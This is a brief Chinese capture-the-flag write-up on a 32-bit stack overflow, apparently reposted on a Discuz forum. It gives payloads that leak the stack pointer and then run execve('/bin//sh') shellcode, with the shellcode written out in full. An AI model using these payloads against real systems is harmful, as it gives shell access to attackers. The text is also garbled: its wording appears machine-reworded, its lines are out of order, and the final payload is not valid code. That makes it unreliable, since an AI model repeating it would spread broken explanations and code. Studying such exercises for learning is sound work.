下面提醒调用了sys_write函数,漏洞存在
即调用80h中断的四号步调sys_write 表现字符串
调用80h中断的三号步调sys_read 读入字符串
可以查看system_call_table网址https://chromium.googlesource.com/chromiumos/docs/+/master/constants/syscalls.md 选择对应的体系即可获得
add esp,14h获取shell
retn
最后返回到esp后20字节的地方,再次给了机会
1.获得esp所在用于覆盖返回所在,执行shellcode需要明白的是,当write进去20(0x14)个字节时,read读入的不止这些,还会继承读,而这时提前给esp规划的20个字节空间已经用完,会retn到 输入的20个字节后面的地方,可以造成esp所在的泄露。
2.让shellcode覆盖栈内里的数据
1.payload = b'a' * 20 + p32(0x08048087)利用80h中断中的sys_execve:
获得esp的所在之后编写shellcode,
shellcode = b'\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80'获得富足信息后,shellcode执行
2.payload = b'a' * 20 + p32('esp的所在' + 20) + shellcodeexp:
参考文章:https://www.anquanke.com/post/id/150359,https://blog.csdn.net/qq_43935969/article/details/105717621
欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) | Powered by Discuz! X3.4 |